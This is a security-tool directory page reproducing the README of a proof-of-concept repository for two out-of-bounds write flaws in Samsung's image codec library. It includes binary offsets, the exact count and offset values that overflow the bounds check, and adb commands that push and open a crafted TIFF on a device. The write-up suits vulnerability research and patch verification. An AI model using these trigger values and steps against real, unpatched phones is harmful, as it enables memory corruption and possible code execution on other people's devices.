Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-21045_and_CVE-2026-21048 — 生成特制的 TIFF/DNG 文件,以触发三星 libimagecodec.quram.so 中的越界写入,包含二进制分析与复现步骤。 | Kitploit
工具/GitHubGitHub/pealeap/cve-2026-21045_and_cve-2026-21048
Android安全漏洞分析漏洞利用逆向工程移动安全二进制分析学习与教育二进制利用
GitHub

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
pealeap/cve-2026-21045_and_cve-2026-21048

CVE-2026-21045_and_CVE-2026-21048

生成特制的 TIFF/DNG 文件,以触发三星 libimagecodec.quram.so 中的越界写入,包含二进制分析与复现步骤。

查看仓库
11个月前尚未审核

CVE-2026-21045 & CVE-2026-21048 — Samsung libimagecodec.quram.so 越界写入 PoC

概述

本仓库包含概念性概念验证(PoC)文件,用于演示三星 Android 设备上使用的 Quramsoft 图像编解码器库(libimagecodec.quram.so)中的越界(OOB)写入漏洞。

CVE格式类型严重性CVSS 4.0修补版本
CVE-2026-21045TIFF越界写入(CWE-787)严重8.4SMR Jul-2026 Release 1
CVE-2026-21048DNG越界写入(CWE-787)高危—SMR Jul-2026 Release 1

受影响设备

  • 运行 Android 14、15、16 的三星 Galaxy 设备
  • 具体包括:Galaxy Z Fold 7、Flip 7、S 系列、A 系列(如 A17)
  • 安全补丁级别早于 SMR Jul-2026 Release 1 的设备
  • 库:/system/lib64/libimagecodec.quram.so

漏洞机制

根本原因

该漏洞位于 IFD(图像文件目录)标签解析函数 WINKJ_ReadExifField(64 位二进制中的偏移量 0x13a0a8)中。此函数处理单个 TIFF/EXIF IFD 条目,每个条目为 12 字节结构:

root@kitploit:~
Offset  Size  Field
------  ----  -----
0       2     Tag ID
2       2     Data Type (1=BYTE, 2=ASCII, 3=SHORT, 4=LONG, 5=RATIONAL, etc.)
4       4     Count (number of values)
8       4     Value / Offset to data

当 count * element_size > 4 时,4 字节的 Value 字段被视为文件偏移量(指向实际数据所在位置)。随后代码在地址 0x13a258 处执行边界检查:

root@kitploit:~
add w8, w6, w7    ; w8 = value_offset + (count * element_size)  [32-bit]
cmp w8, w5        ; compare against remaining buffer size
b.ls ok           ; if w8 <= buffer_size, proceed

整数溢出绕过

该漏洞是加法中的32 位无符号整数溢出。如果攻击者精心构造 value_offset 和 count * element_size,使它们的和回绕为一个小值,则即使实际内存访问 base + value_offset 越界,检查也会通过。

示例(UNDEFINED 类型,element_size = 1):

32 位加法 0x17FFF + 0xFFFF0001 = 0x10008000 截断为 0x8000,等于 buffer_size。检查通过,但实际数据指针(base + 0x17FFF)位于所分配缓冲区末尾之外 0x7FFF 字节处。

易受攻击的代码路径

root@kitploit:~
TIFFReadDirectory / WINKJ_ReadTiffInfo
  └─> WINKJ_ReadTiffIFDInfo   (allocates IFD buffer)
       └─> for each IFD entry:
            └─> WINKJ_ReadExifField   (parses entry, reads value data)
                 └─> Switch on Data Type (jump table at 0x13a15c)
                      ├─ Type 0 (BYTE/ASCII/UNDEFINED):  handler at 0x13a15c
                      ├─ Type 3/8 (SHORT/SSHORT):       handler at 0x13a1d0
                      ├─ Type 4/9/11 (LONG/SLONG/FLOAT): handler at 0x13a17c
                      └─ Type 5/10/12 (RATIONAL/SRATIONAL/DOUBLE): handler at 0x13a1ac
                      Each handler -> reads data at offset -> bounds check at 0x13a258

PoC 文件

文件描述
cve-2026-21045_tiff_oob_poc.py生成 poc_crash.tif — 通过带有精心构造的 count/offset 的 ASCII 标签触发越界写入的畸形 TIFF 文件
cve-2026-21048_dng_oob_poc.py生成 poc_crash.dng — 通过带有精心构造的 count/offset 的 UNDEFINED 标签触发越界写入的畸形 DNG 文件

使用方法

root@kitploit:~
# Generate TIFF PoC
python3 cve-2026-21045_tiff_oob_poc.py -o payload.tif

# Generate DNG PoC
python3 cve-2026-21048_dng_oob_poc.py -o payload.dng

# Transfer to device and trigger (e.g., via Gallery/MMS)
adb push payload.tif /sdcard/Download/
adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload.tif -t image/tiff

预期行为

在未修补的设备(安全补丁级别 < 2026 年 7 月)上,在三星相册(或任何使用 Quram 解码器的应用)中打开精心构造的 TIFF/DNG 文件,应会导致堆内存损坏,可能引发:

  • 应用程序崩溃(SIGSEGV/SIGABRT)
  • 越界堆写入
  • 在特定堆布局下:可能任意代码执行

在已修补的设备(SMR Jul-2026 及更高版本)上,图像应被拒绝为无效或被安全处理。在完全修补的设备上发生崩溃可能表明存在另一个未修补的问题。

二进制分析详情

库信息

root@kitploit:~
File:   libimagecodec.quram.so (64-bit)
SHA256: (verify against your copy)
NDK:    r23c (Android 21)
Built:  2021-12-31 (placeholder date)
Soname: libimagecodec.quram.so

关键函数

分发表(标签类型 → 处理程序)

从 WINKJ_ReadExifField 提取:

所有 element_size = 1 的类型(BYTE、ASCII、UNDEFINED)共享同一处理程序,并且同样容易受到整数溢出绕过的影响。

相关 CVE

免责声明

这些概念验证仅用于教育和安全研究目的。它们演示漏洞机制,以帮助用户和开发人员了解风险。请勿将它们用于不属于您或未经明确许可进行测试的系统。

参考链接

  • https://nvd.nist.gov/vuln/detail/CVE-2026-21045
  • https://nvd.nist.gov/vuln/detail/CVE-2026-21048
  • https://security.samsungmobile.com/securityUpdate.smsb
  • https://gitlab.com/libtiff/libtiff/-/releases/v4.6.0
下载工具
字段值(十六进制)十进制
count0xFFFF00014,294,901,761
element_size11
count * element_size0xFFFF0001 ≡ -65535(mod 2³²)4,294,901,761
value_offset0x00017FFF98,303
value_offset + count*size0x00008000(溢出!)32,768
buffer_size0x0000800032,768
检查结果:0x8000 <= 0x8000✅ 通过—
实际内存访问:base + 0x17FFF超出缓冲区 0x7FFF 字节❌ 越界
函数地址(64 位)大小用途
WINKJ_ReadExifField0x13a0a8912解析单个 IFD 条目(易受攻击)
WINKJ_ReadTiffIFDInfo0x139d28896读取所有 IFD 条目
WINKJ_ReadTiffInfo0x139ad4596高层 TIFF 信息解析器
WINKJ_GetTiffInfo0x1393fc1752主要 TIFF 解析入口点
decodeTIFF0x1a2adc580通过 libtiff 解码 TIFF 图像
getTIFFImageInfo0x1a2d20508获取 TIFF 图像元数据
copySubImageBuffer0x0b2824324复制子图像区域
TIFFReadDirectory0x1aac785896libtiff 4.6.0 目录读取器
_TIFFMultiply320x1a2f1c56安全 32 位乘法检查
_TIFFMultiply640x1a2f5848安全 64 位乘法检查
类型名称元素大小处理程序地址
1BYTE10x13a15c
2ASCII10x13a15c
3SHORT20x13a1d0
4LONG40x13a17c
5RATIONAL80x13a1ac
6SBYTE10x13a15c
7UNDEFINED10x13a15c
8SSHORT20x13a1d0
9SLONG40x13a17c
10SRATIONAL80x13a1ac
11FLOAT40x13a17c
12DOUBLE80x13a1ac
CVE描述状态
CVE-2025-58477libimagecodec.quram.so 中 IFD 标签解析的越界写入(SMR Dec-2025)✅ 已修补
CVE-2026-20973libimagecodec.quram.so 中的越界读取(SMR Jan-2026)✅ 已修补
CVE-2026-21045libimagecodec.media.quram.so 中 TIFF 解析的越界写入(SMR Jul-2026)⚠️ 对我来说未修补
CVE-2026-21048libimagecodec.media.quram.so 中 DNG 解析的越界写入(SMR Jul-2026)⚠️ 对我来说未修补
CVE-2026-4775libtiff 4.6.0 putcontig8bitYCbCr44tile 中的有符号整数溢出⚠️ 对我来说未修补
CVE-2024-7006libtiff tif_dirinfo.c 中的空指针解引用✅ 已在 4.6.1 中修复